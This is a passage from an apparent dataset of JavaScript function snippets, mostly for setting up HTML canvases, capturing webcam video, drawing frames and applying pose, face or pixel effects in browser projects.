may need a click to access \n var containers = [].slice.call(document.getElementsByClassName('instructure_file_link_holder'));\n containers = containers.concat([].slice.call(document.getElementsByClassName('instructure_inline_media_comment')));\n // known video locations\n var matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n\n // if any known videos exist, launch those\n if (matches) {\n\n // loop through all known videos\n for (var i = 0; i < matches.length; i++) {\n\n // pull out the video number\n matches[i] = matches[i].replace(/\\D/g, \"\");\n\n // parameters for the videoplayer\n var parameter = {};\n\n // only supporting mp4 at the moment\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n if (parameter.source) {\n\n // get locally stored data \n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n parameter.playing = false;\n\n // find if the video is playing\n if ($('#mep_' + matches[i]).find('.mejs-pause')[0]){\n parameter.playing = true;\n }\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n // install player\n install(container, parameter);\n }\n }\n }\n\n // click on all possible video containers, watch if things change\n if (containers.length != 0) {\n\n // watch for changes for each container\n for(var i = 0; i < containers.length; i++) {\n\n // use mutation observer as per \n // https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\n var observer = new MutationObserver(function (mutations) {\n mutations.forEach(function (mutation) {\n\n // see if changes are to the child of the container\n if (mutation.type === 'childList') {\n\n // look through each child\n Array.prototype.forEach.call(mutation.target.children, function (child) {\n\n // match (only once per video) -- same code as if (matches) branch\n matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n if (matches) {\n for (var i = 0; i < matches.length; i++) {\n matches[i] = matches[i].replace(/\\D/g, '');\n\n // parameters for the videoplayer\n var parameter = {};\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n if (parameter.source) {\n\n // get locally stored data for time\n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n parameter.playing = false;\n\n // install player\n install(container, parameter);\n }\n }\n }\n });\n }\n });\n });\n\n // actually start observing\n observer.observe(containers[i], {\n childList: true,\n characterData: true,\n subtree: true\n });\n }\n\n // simulate click, waits for link to appear\n $('.media_comment_thumbnail').click(); \n } \n\n // no possible video containers, apologize\n else {\n apologize();\n }\n }\n}","function init() {\n\t\tconsole.log('init');\n\t\t// Put event listeners into place\n\t\t// Notice that in this specific case handlers are loaded on the onload event\n\t\twindow.addEventListener(\n\t\t\t'DOMContentLoaded',\n\t\t\tfunction() {\n\t\t\t\t// Grab elements, create settings, etc.\n\t\t\t\tvar canvas = document.getElementById('canvas');\n\t\t\t\tvar context = canvas.getContext('2d');\n\t\t\t\t// context.transform(3,0,0,1,canvas.width,canvas.heigth);\n\t\t\t\tvar video = document.getElementById('video');\n\t\t\t\tvar mediaConfig = {\n\t\t\t\t\tvideo: true\n\t\t\t\t};\n\t\t\t\tvar errBack = function(e) {\n\t\t\t\t\tconsole.log('An error has occurred!', e);\n\t\t\t\t};\n\n\t\t\t\tlet aspectRatio = 2;\n\n\t\t\t\t// Put video listeners into place\n\t\t\t\tif (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n\t\t\t\t\tnavigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\n\t\t\t\t\t\taspectRatio = stream.getVideoTracks()[0].getSettings().aspectRatio;\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// Trigger photo take\n\t\t\t\tdocument.getElementById('snap').addEventListener('click', function() {\n\t\t\t\t\tdocument.getElementsByClassName('canvas-container')[0].style.visibility = 'visible';\n\t\t\t\t\tlet heigth = 480;\n\n\t\t\t\t\tcontext.save();\n\t\t\t\t\tcontext.translate(480 * aspectRatio, 0);\n\t\t\t\t\tcontext.scale(-1, 1);\n\t\t\t\t\tcontext.drawImage(video, 0, 0, aspectRatio * heigth, heigth);\n\t\t\t\t\tcontext.restore();\n\t\t\t\t\tstate.photoSnapped = true; // photo has been taken\n\t\t\t\t});\n\n\t\t\t\t// Trigger when upload button is pressed\n\t\t\t\tif (document.getElementById('upload'))\n\t\t\t\t\tdocument.getElementById('upload').addEventListener('click', () => {\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t\t// uploadImage();\n\t\t\t\t\t\tselectImage();\n\t\t\t\t\t});\n\n\t\t\t\tif (document.getElementById('upload_search'))\n\t\t\t\t\tdocument.getElementById('upload_search').addEventListener('click', () => {\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t\t// searchImage();\n\t\t\t\t\t});\n\t\t\t},\n\t\t\tfalse\n\t\t);\n\t}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n ctx.drawImage(video, 0, 0, 640, 480);\n // We can call both functions to draw all keypoints and the skeletons\n drawKeypoints();\n drawSkeleton();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function startVideo(){\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n canvas.getContext('2d').\n drawImage(video, 0, 0, canvas.width, canvas.height);\n $scope.sendPicture();\n}","function paintToCanvas() {\n // We need to make sure canvas and video are the same width/height\n const width = video.videoWidth;\n const height = video.videoHeight;\n canvas.width = width;\n canvas.height = height;\n\n // Every couple seconds, take image from webcam and put it onto canvas\n return setInterval(() => {\n // drawImage: pass it an image/video and it will place it on the canvas\n ctx.drawImage(video, 0, 0, width, height);\n\n // Take pixels out\n let pixels = ctx.getImageData(0, 0, width, height); // huge array of pixels\n\n // Play around with pixels\n switch (this.className) {\n case 'red':\n pixels = redEffect(pixels);\n break;\n case 'split':\n ctx.globalAlpha = 0.1;\n pixels = rgbSplit(pixels);\n break;\n case 'green':\n pixels = greenScreen(pixels);\n }\n\n // Put pixels back into canvas\n ctx.putImageData(pixels, 0, 0);\n }, 16);\n}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n drawKeypoints();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function currentFrameCanvas(){\n let video = document.getElementById(\"video_id\");\n canvas = document.getElementById('screenShot');\n canvas.width = width;\n canvas.height = height;\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\n}","function drawCameraIntoCanvas() {\n\n // draw the video element into the canvas\n ctx.drawImage(video, 0, 0, video.width, video.height);\n \n if (body) {\n // draw circle for left and right Eye\n const leftWrist = body.getBodyPart(bodyParts.leftWrist);\n const rightWrist = body.getBodyPart(bodyParts.rightWrist);\n\n\n\n // draw left Eye\n ctx.beginPath();\n ctx.arc(leftWrist.position.x, leftWrist.position.y, 5, 0, 2 * Math.PI);\n ctx.fillStyle = 'white';\n ctx.fill();\n\n // draw right Eye\n ctx.beginPath();\n ctx.arc(rightWrist.position.x, rightWrist.position.y, 5, 0, 2 * Math.PI);\n ctx.fillStyle = 'white';\n ctx.fill();\n\n\n ctx.beginPath();\n ctx.moveTo(leftWrist.position.x,leftWrist.position.y);\n ctx.lineTo(rightWrist.position.x,rightWrist.position.y, 150);\n ctx.lineWidth = 10;\n ctx.strokeStyle = 'white';\n ctx.stroke();\n }\n requestAnimationFrame(drawCameraIntoCanvas);\n}","function createCanvas() {\n // console.log(parseInt(pixelByPixel.value));\n selectedFrameData = null;\n selectedFrameData = {};\n layerCount = 0;\n framesArray = [],\n currentFrame = 0,\n playbackRunning = false,\n playbackInterval = null,\n unsavedFrame = false;\n removeListeners();\n resetFrames();\n resetLayers();\n resetSelectionState();\n addDisplayFrame(0);\n setCurrentFrame(0);\n initCanvas(\"2d\", parseInt(pixelByPixel.value));\n}","function paintToCanvas() {\n // get the width and height of the actual live feed video\n const width = video.videoWidth;\n const height = video.videoHeight;\n\n // set canvas width and height to be the same as the live feed video\n canvas.width = width;\n canvas.height = height;\n\n // every 16ms, take the image from the webcam and put it into the canvas\n return setInterval(() => {\n ctx.drawImage(video, 0, 0, width, height);\n\n // take the pixels out\n let pixels = ctx.getImageData(0, 0, width, height);\n\n // mess with them\n // pixels = redEffect(pixels);\n\n // pixels = redSplit(pixels);\n // ctx.globalAlpha = 0.8;\n\n pixels = greenScreen(pixels);\n\n // put them back\n ctx.putImageData(pixels, 0, 0);\n }, 16);\n}","function initPreview() {\n\t\n\t//clear the canvas first\n\tcanvasPreviewContext.clearRect(0, 0, canvasPreview.width, canvasPreview.height);\n\t\n\t//what file type are we dealing with\n\tif (fileType == \"VIDEO\") {\n\t\t\n\t\tsampleWidth = 50;\n\t\tsampleHeight = Math.floor((9/16)*sampleWidth);\n\t\tvideoArea.width = sampleWidth;\n\t\tvideoArea.height = sampleHeight;\n\t\t\n\t\t//reset size of the canvas\n\t\tcanvasPreview.width = sampleWidth;\n\t\tcanvasPreview.height = sampleHeight;\n\t\tpreviewArea.style.width = sampleWidth + \"px\";\n\t\tpreviewArea.style.height = sampleHeight + \"px\";\n\t\t\n\t\t//set the video in the videoArea so it starts playing\n\t\tvideoArea.type = file.type;\n\t\tvideoArea.src = fileURL;\n\t\t\n\t\t//set fileWidth\n\t\tfileWidth = sampleWidth;\n\t\tfileHeight = sampleHeight;\n\t\t\n\t\t//make a sample first\n\t\t/*canvasPreviewContext.drawImage(videoArea, 0, 0, videoArea.width, videoArea.height);*/\n\t\t\n\t\t//initBuffers();\n\t\t\n\t\t\n\t\t/*document.onclick = function() {\n\t\t\tinitCubes();\n\t\t}*/\n\t\t\n\t\t//keep updating cubes based on the options\n\t\t//startUpdateCubesInterval();\n\t\tsetTimeout(initPlanes, 2000);\n\t\tstartUpdatePlanesInterval();\n\t\tstopUpdateCubesInterval();\n\t\t\n\t\t//keep rendering the screen based on mouse/camera position\n\t\tstartThreeInterval();\n\n\t\t\n\t} else if (fileType == \"IMAGE\") {\n\t\t\n\t\t\n\t\tsampleWidth = 30;\n\t\tsampleHeight = Math.floor((9/16)*sampleWidth);\n\t\t\n\t\t//load the image data and display in the preview\n\t\tvar img = new Image();\n\t\timg.onload = function() {\n\n\t\t\t//get the image dimensions so we can drawImage at the right aspect ratio\n\t\t\tsetNewFileDimensions(img);\n\t\t\t\n\t\t\t//draw the image onto the canvas\n\t\t canvasPreviewContext.drawImage(img, 0, 0, fileWidth, fileHeight);\n\t\t\t\n\t\t\t//initBuffers();\n\t\t\tinitCubes();\n\t\t\t//initPlanes();\n\t\t\t\n\t\t\t//keep updating cubes based on the options\n\t\t\tstartUpdateCubesInterval();\n\t\t\tstopUpdatePlanesInterval();\n\t\t\t\n\t\t\t//keep rendering the screen based on mouse/camera position\n\t\t\tstartThreeInterval();\n\n\t\t}\n\t\t\n\t\t//set the src of our new file\n\t\timg.src = fileURL;\n\t\t\n\t\t//we should clear the video tag\n\t\tvideoArea.type = \"\";\n\t\tvideoArea.src = \"\";\n\t\tvideoArea.pause();\n\t\t\n\t\t//we should stop sampling the video if its there\n\t\tstopSamplingVideo();\n\t\t\n\t}\n\t\n}","function FrameInitalizer(canvas, form, video, options) {\n //Opt parse.\n options = options || {};\n this.drawFrame = options.override_frame_draw || this._drawFrame\n this.drawImage = options.override_image_draw || this._drawImage\n this.drawPolygons = options.override_polygon_draw || this._drawPolygons\n //I might add a string to the OnChange functions that says where they were called from.\n //I could also add stuff like OnClear or whatever, not really sure I wanna go for that.\n //A return a reference to the previous state?\n //You shouldn't need these unless you do web worker stuff anyways.\n this.onImageChange = options.on_image_change_functor || (function(self) {\n return; //self.drawFrame() //Do nothing, if they want to draw on every update, let them set this.\n });\n this.onPolygonChange = options.on_polygon_change_functor || (function(self) {\n return; //self.drawFrame(); //Do nothing, if they want to draw on every update, let them set this.\n });\n this.source = options.source || null;\n this.number_of_frames = options.number_of_frames || 1;\n //Mandatory positional args.\n this.canvas = canvas;\n this.form = form;\n this.video = video; //video element;\n this.frames = [new _FrameTracker(0)];\n this.frame_index = 0;\n this.updateFrameList(1);\n }","function initialize() {\n // Create a canvas element to which we will copy video.\n canvas = document.createElement('canvas');\n var webcamDimensions = webcam.getDimensions();\n canvas.width = webcamDimensions.width;\n canvas.height = webcamDimensions.height;\n\n // We need a context for the canvas in order to copy to it.\n context = canvas.getContext('2d');\n\n // create an AR Marker detector using the canvas as the data source\n detector = ardetector.create( canvas );\n\n // Create an AR View for displaying the augmented reality scene\n view = arview.create( webcam.getDimensions(), canvas );\n\n // Set the ARView camera projection matrix according to the detector\n view.setCameraMatrix( detector.getCameraMatrix(10,1000) );\n\n // Place the arview's GL canvas into the DOM.\n document.getElementById(\"application\").appendChild( view.glCanvas );\n }","function setup() {\n createCanvas(640, 480, P2D); // canvas has same dimensions as my webcam\n background(0);\n stroke(0, 255, 0);\n noFill();\n\n // make sure the framerate is the same between sending and receiving\n frameRate(30);\n\n // Set to true to turn on logging for the webrtc client\n WebRTCPeerClient.setDebug(true);\n\n // To connect to server over public internet pass the ngrok address\n // See https://github.com/lisajamhoury/WebRTC-Simple-Peer-Examples#to-run-signal-server-online-with-ngrok\n WebRTCPeerClient.initSocketClient('https://XXXXXXXX.ngrok.io/');\n\n // Start the peer client\n WebRTCPeerClient.initPeerClient();\n\n // start your video\n // your webcam will always appear below the canvas\n myVideo = createCapture(VIDEO);\n myVideo.size(width, height);\n myVideo.hide();\n\n ////// HOW TO DEFINE OTHER PERSON'S VIDEO? //////\n // otherVideo = createCapture(VIDEO);\n // otherVideo.size(width, height);\n\n}","function paintToCanvas() { //to display webcame live in a specified canvas with videos actual height and width\n\n const width = video.videoWidth; //getting actual height and width of video\n const height = video.videoHeight;\n canvas.width = width; //setting the canvas width and height accordingly \n canvas.height = height;\n return setInterval(() => { //by setintertval method we are drawing the recieved video's image in after every 16milli sec \n ctx.drawImage(video, 0, 0, width, height); //here we are drawing the image recieved in canvas\n let pixels = ctx.getImageData(0, 0, width, height) //here we are getting the canvas image to make some effect\n // console.log(pixels)\n // debugger;\n // pixels = redeffect(pixels) //here redeffect is called\n // console.log(hola);\n pixels = rgbsplit(pixels) // we are calling rgb split to make some changes in the pixels thats is the image we get from canvas\n ctx.globalAlpha=0.8; \n // pixels = greenscreen(pixels)\n ctx.putImageData(pixels, 0, 0); //after we get the changed pixels we put it back in the canvas\n }, 16);\n}","function setup() {\n createCanvas(640, 480);\n video = select(\"video\") || createCapture(VIDEO);\n video.size(width, height);\n\n const poseNet = ml5.poseNet(video, { flipHorizontal: true }, () => {\n select(\"#status\").hide();\n });\n\n poseNet.on(\"pose\", (newPoses) => {\n poses = newPoses;\n });\n\n // Hide the video element, and just show the canvas\n video.hide();\n}","function ytInject() {\n injectStyle();\n injectCanvas();\n injectButton();\n\n $(window).resize(function() {\n var main = $('#vt-main-div').get(0);\n var canvas = $('#vt-canvas').get(0);\n\n main.style.height = $('.video-stream').height();\n main.style.width = $('.video-stream').width();\n $('#vt-canvas').height($('vt-main-div').height());\n $('#vt-canvas').width($('vt-main-div').width());\n\n //Scale the canvas to achieve proper resolution\n canvas.width=$('#vt-main-div').width()*window.devicePixelRatio;\n canvas.height=$('#vt-main-div').height()*window.devicePixelRatio;\n canvas.style.width=$('#vt-main-div').width() + \"px\";\n canvas.style.height=$('#vt-main-div').height() + \"px\";\n });\n}","setup(canvas) {\n this.engine.renderer.setup(canvas);\n this.start();\n }","function start() {\n if (initialized)\n return;\n\n let myCanvas = document.getElementById(\"canvas\");\n myCanvas.classList.toggle(\"hide\");\n\n let button = document.getElementById(\"webcamButton\");\n button.classList.add(\"hide\");\n\n window.ctx = myCanvas.getContext('2d', {alpha: false});\n\n var mycamvas = new camvas(window.ctx, processFrame);\n initialized = true;\n}","function drawVedio() {\n setTimeout(() => {\n canvas.getContext(\"2d\").drawImage(video, 0, 0, 100, 100);\n drawVedio();\n }, 0);\n }","function setupMotionDetection() {\n md_canvas = document.getElementById('mdCanvas');\n test_canvas = document.getElementById('testCanvas');\n md_canvas.width = vid_width;\n md_canvas.height = vid_height;\n}","function prepareCanvas() {\n canvas = window._canvas = new fabric.Canvas('canvas');\n canvas.backgroundColor = '#ffffff';\n canvas.isDrawingMode = 1;\n canvas.freeDrawingBrush.color = \"black\";\n canvas.freeDrawingBrush.width = 1;\n canvas.renderAll();\n //setup listeners \n canvas.on('mouse:up', function(e) {\n getFrame();\n mousePressed = false\n });\n canvas.on('mouse:down', function(e) {\n mousePressed = true\n });\n canvas.on('mouse:move', function(e) {\n recordCoor(e)\n });\n}","function setupCanvas() {\n// setup everything else\n\tconsole.log(\"Setting up canvas...\")\n\tcanvas = document.getElementById(\"drone-sim-canvas\");\n\twindow.addEventListener(\"keyup\", keyFunctionUp, false);\n\twindow.addEventListener(\"keydown\", keyFunctionDown, false);\n\twindow.onresize = doResize;\n\tcanvas.width = window.innerWidth-16;\n\tcanvas.height = window.innerHeight-200;\n\tconsole.log(\"Done.\")\n}","function setup() {\n createCanvas(windowWidth, windowHeight);\n capture = createCapture(VIDEO);\n capture.size(windowWidth, windowHeight);\n capture.hide();\n background(255, 0, 200);\n}","function setup() {\n // setup canvas: target\n canvas = createCanvas(640, 480, WEBGL);\n canvas.id('p5canvas');\n background(51);\n\n // setup webcam: source\n video = createCapture(VIDEO);\n video.size(width, height);\n video.id('p5video'); // giving an ID to the video to link to seriously\n video.hide();\n\n // switch between modes\n createP(\"To start, press 'a' for blur or 's' for vignette.\");\n\n // adjust blur\n createP('Adjust Blur');\n blurSlider = createSlider(0, 1, 0.5, 0.01);\n blurSlider.id('blur-slider');\n\n // adjust vignette strength\n createP('Adjust Vignette');\n vignetteSlider = createSlider(0, 100, 50);\n vignetteSlider.id('vignette-slider');\n\n\n // Call Seriously function inside the variable: seriously\n seriously = new Seriously(); // create an object called seriously\n\n // Source: webcam, target: canvas\n src = seriously.source('#p5video');\n target = seriously.target('#p5canvas');\n\n keyReleased();\n\n seriously.go();\n\n\n}","_setupCanvas () {\r\n\t\tthis.canvas = document.createElement('canvas');\r\n\t\tthis.context = this.canvas.getContext('2d');\r\n\r\n\t\tthis.canvas.width = 500;\r\n\t\tthis.canvas.height = 500;\r\n\r\n\t\tlet body = document.getElementById('body');\r\n\t\tbody.appendChild(this.canvas);\r\n\t}","function render(){\n var canvas = $('#canvas')[0];\n var context = canvas.getContext('2d');\n var video = $('#camera')[0];\n\n // copy camera frame from video to canvas so lines can be drawn on\n try{\n context.drawImage(video, 0, 0, video.width, video.height);\n }\n catch(error){\n if(error.name != \"NS_ERROR_NOT_AVAILABLE\"){\n throw error;\n }\n }\n\n // save original canvas\n var subcanvas = $('#binary')[0];\n var subcontext = subcanvas.getContext('2d');\n subcontext.drawImage(canvas, canvas.width/4, canvas.height*3/8, canvas.width/2, canvas.height/4, 0, 0, subcanvas.width, subcanvas.height);\n\n // remaining detection\n process(subcanvas);\n\n // flip horizontally\n context.setTransform(1, 0, 0, 1, 0, 0);\n context.translate(canvas.width, 0);\n context.scale(-1, 1);\n\n // draw line\n context.lineWidth = 1;\n context.strokeStyle = 'green';\n context.beginPath();\n context.moveTo(canvas.width/4, canvas.height/2);\n context.lineTo(canvas.width*3/4, canvas.height/2);\n context.moveTo(canvas.width/2, canvas.height*3/8);\n context.lineTo(canvas.width/2, canvas.height*5/8);\n context.stroke();\n\n context.strokeStyle = 'blue';\n context.beginPath();\n context.moveTo(canvas.width*1/4, canvas.height*3/8);\n context.lineTo(canvas.width*3/4, canvas.height*3/8);\n context.lineTo(canvas.width*3/4, canvas.height*5/8);\n context.lineTo(canvas.width*1/4, canvas.height*5/8);\n context.closePath();\n context.stroke();\n\n requestAnimationFrame(render);\n }","initialiseCanvas(){\n let canvas = document.querySelector(\".genetic-art .canvas_container .result\");\n canvas.width = this.modelData.width;\n canvas.height = this.modelData.height;\n }","function setCanvas(){\n _canvas = document.getElementById('canvas');\n _stage = _canvas.getContext('2d');\n _canvas.width = _puzzleWidth;\n _canvas.height = _puzzleHeight;\n}","async function setupCamera() {\n const video = document.getElementById('video');\n const canvas = document.getElementById('canvas');\n if (!video || !canvas) return null;\n\n let msg = '';\n log('Setting up camera');\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\n if (!navigator.mediaDevices) {\n log('Camera Error: access not supported');\n return null;\n }\n let stream;\n const constraints = {\n audio: false,\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\n };\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\n else constraints.video.height = { ideal: window.innerHeight };\n try {\n stream = await navigator.mediaDevices.getUserMedia(constraints);\n } catch (err) {\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\n log(`Camera Error: ${msg}: ${err.message || err}`);\n return null;\n }\n // @ts-ignore\n if (stream) video.srcObject = stream;\n else {\n log('Camera Error: stream empty');\n return null;\n }\n const track = stream.getVideoTracks()[0];\n const settings = track.getSettings();\n if (settings.deviceId) delete settings.deviceId;\n if (settings.groupId) delete settings.groupId;\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\n log(`Camera active: ${track.label}`); // ${str(constraints)}\n log(`Camera settings: ${str(settings)}`);\n canvas.addEventListener('click', () => {\n // @ts-ignore\n if (video && video.readyState >= 2) {\n // @ts-ignore\n if (video.paused) {\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n } else {\n // @ts-ignore\n video.pause();\n }\n }\n // @ts-ignore\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\n });\n return new Promise((resolve) => {\n video.onloadeddata = async () => {\n // @ts-ignore\n canvas.width = video.videoWidth;\n // @ts-ignore\n canvas.height = video.videoHeight;\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n resolve(true);\n };\n });\n}","function setup() {\n createCanvas(1280, 480); // Create a display window\n img = loadImage('lk.jpg'); // Load the image\n capture = createCapture(VIDEO); // Get the capture video\n capture.id(\"video_elemyent\"); // Set the video Id\n capture.size(640, 480); // Define video size to 640x480\n capture.hide() // Hide the streaning video\n faceapi = ml5.faceApi(capture, faceReady);\n}","function setup() {\n let canvasDiv = document.getElementById('animation');\n canvasWidth = canvasDiv.offsetWidth;\n canvasHeight = canvasDiv.offsetHeight;\n pipesAmount = Math.floor(canvasHeight / (minPipeHeight + 1));\n pipesWidth = canvasWidth / (pipesAmount + 1);\n // Creates canvas\n let canvas = createCanvas(canvasWidth, canvasHeight);\n // Declares the parent div of the canvas\n canvas.parent('animation');\n}","function setCanvas(){\r\n _canvas = document.getElementById('canvas');\r\n _stage = _canvas.getContext('2d');\r\n _canvas.width = _puzzleWidth;\r\n _canvas.height = _puzzleHeight;\r\n _canvas.style.border = \"1px solid black\";\r\n}","init() {\n const wrapper = document.getElementById('canvasWrapper');\n let newCanvas;\n if (!document.querySelector('canvas')) {\n newCanvas = document.createElement('canvas');\n newCanvas.width = this.width;\n newCanvas.height = this.height;\n newCanvas.setAttribute('id', 'canvas');\n this.context = newCanvas.getContext('2d');\n wrapper.appendChild(newCanvas);\n } else {\n newCanvas = document.getElementById('canvas');\n newCanvas.width = this.width;\n newCanvas.height = this.height;\n this.context = newCanvas.getContext('2d');\n }\n this.style(wrapper);\n }","drawScreen () {\n if(this.video1.canplaythrough && this.video2.canplaythrough) {\n this.context.putImageData(this.video1.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.putImageData(this.video2.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.drawImage(this.video2.canvas, 0, 0);\n this.context.drawImage(this.video1.canvas, 0, 0);\n // let frame1 = this.video2.context.getImageData(0,0, 320, 180);\n // this.context.putImageData(frame1, 0, 0);\n }\n }","createCanvas() {\n this.canvas = document.createElement('canvas');\n this.canvas.width = this.width * this.resolution;\n this.canvas.height = this.height * this.resolution;\n this.context = this.canvas.getContext('2d');\n }","_addCanvas() { // add canvas will add a track to the screen by changing the CSS of div elements and buttons, can add up to 4 tracks\n if (this.numberOfCanvases == 1) { // set up canvas context for visualizer\n this.canvasContainer = document.getElementById('canvasContainer1');\n this.canvas = document.getElementById('canvas1');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 2) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer2');\n this.canvas = document.getElementById('canvas2');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 3) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer3');\n this.canvas = document.getElementById('canvas3');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 4) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer4');\n this.canvas = document.getElementById('canvas4');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n }\n }","initializeCanvas(){\n\t\tconsole.log(`======] Init Canvas [======`, this.state);\n\n\t\tif(this.state.device.width && this.state.device.height){\n\t\t\tthis.canvas = document.createElement('canvas');\n\t\t\tthis.canvas.id = 'screen-canvas';\n\t\t\tthis.canvas.width = this.state.device.width/2;\n\t\t\tthis.canvas.height = this.state.device.height/2;\n\t\t\tthis.canvas.style = 'margin: 50px; border: 1px solid black; cursor: pointer;';\n\t\t\tthis.canvas.onmouseover = this.cursorOver.bind(this);\n\t\t\tthis.canvas.onmouseout = this.cursorOut.bind(this);\n\t\t\tthis.canvas.onmousedown = this.interactStart.bind(this);\n\t\t\tthis.canvas.onmousemove = this.interactMove.bind(this);\n\t\t\tthis.canvas.onmouseup = this.interactEnd.bind(this);\n\t\t\tthis.canvas.onmousewheel = this.mouseWheel.bind(this);\n\t\t\tdocument.body.onkeydown = this.keyDown.bind(this);\n\t\t\tdocument.body.onkeyup = this.keyUp.bind(this);\n\n\t\t\tdocument.getElementById('screen-container').appendChild(this.canvas)\n\t\t\tthis.ctx = this.canvas.getContext('2d');\n\t\t}else{\n\t\t\talert(`Device resolution failed to be detected`);\n\t\t}\n\t}","function setup() {\n createCanvas(800, 600);\n pixelDensity(1); //for retina displays\n capture = createCapture(VIDEO);\n capture.size(width / vScale, height / vScale);\n capture.hide();\n\n\n}","function createCanvasZone(canvas,ctx,video){\r\n \r\n var BtnZone = document.createElement('div');\r\n BtnZone.id=\"canvasBtnZone\";\r\n \r\n var clear_btn = document.createElement('input');\r\n clear_btn.type = \"button\";\r\n clear_btn.id = 'clearCanvas';\r\n clear_btn.className = \"canvas_btn\";\r\n clear_btn.value='Clear';\r\n clear_btn.onclick=function(){clearArea(ctx)};\r\n \r\n var close_btn = document.createElement('input');\r\n close_btn.type = \"button\";\r\n close_btn.className = \"canvas_btn\";\r\n close_btn.id = 'closeCanvas';\r\n close_btn.value='Close';\r\n close_btn.onclick=function(){BtnZone.remove();};\r\n \r\n\r\n \r\n var send_btn = document.createElement('input');\r\n send_btn.type = \"button\";\r\n send_btn.id = 'sendscreenShot';\r\n send_btn.className = \"canvas_btn\";\r\n send_btn.value='Send screenshot';\r\n send_btn.onclick=function(){sendScreenshot()};\r\n \r\n \r\n $('#CanvasZone').append(BtnZone);\r\n $('#canvasBtnZone').append(clear_btn);\r\n $('#canvasBtnZone').append(close_btn);\r\n $('#canvasBtnZone').append(send_btn); \r\n $('#canvasBtnZone').append(canvas); \r\n \r\n InitThis(ratio,canvas,video);\r\n}","function takePhoto (e) {\nlet ctx = outputCanvas.getContext('2d')\nctx.drawImage(inputVideo,0,0)\n}","function initCanvas(width, height){}","function setup()\n{\n const maxWidth = Math.min(windowWidth, windowHeight);\n pixelDensity(1);\n outputWidth = maxWidth;\n outputHeight = maxWidth * 0.75; // 4:3\n\n createCanvas(outputWidth, outputHeight);\n\n // webcam capture\n videoInput = createCapture(VIDEO);\n videoInput.size(outputWidth, outputHeight);\n videoInput.hide();\n\n // select filter\n const sel = createSelect();\n const selectList = ['Donal trump', 'Dog Filter', 'billgate', 'pikachu']; // list of filters\n sel.option('Select Filter', -1); // Default no filter\n for (let i = 0; i < selectList.length; i++)\n {\n sel.option(selectList[i], i);\n }\n sel.changed(applyFilter);\n\n // tracker\n faceTracker = new clm.tracker();\n faceTracker.init();\n faceTracker.start(videoInput.elt);\n}","function setUpCanvas() {\r\n canvas = document.createElement(\"CANVAS\");\r\n canvas.id = \"canvas\";\r\n canvas.style.width = \"100%\";\r\n 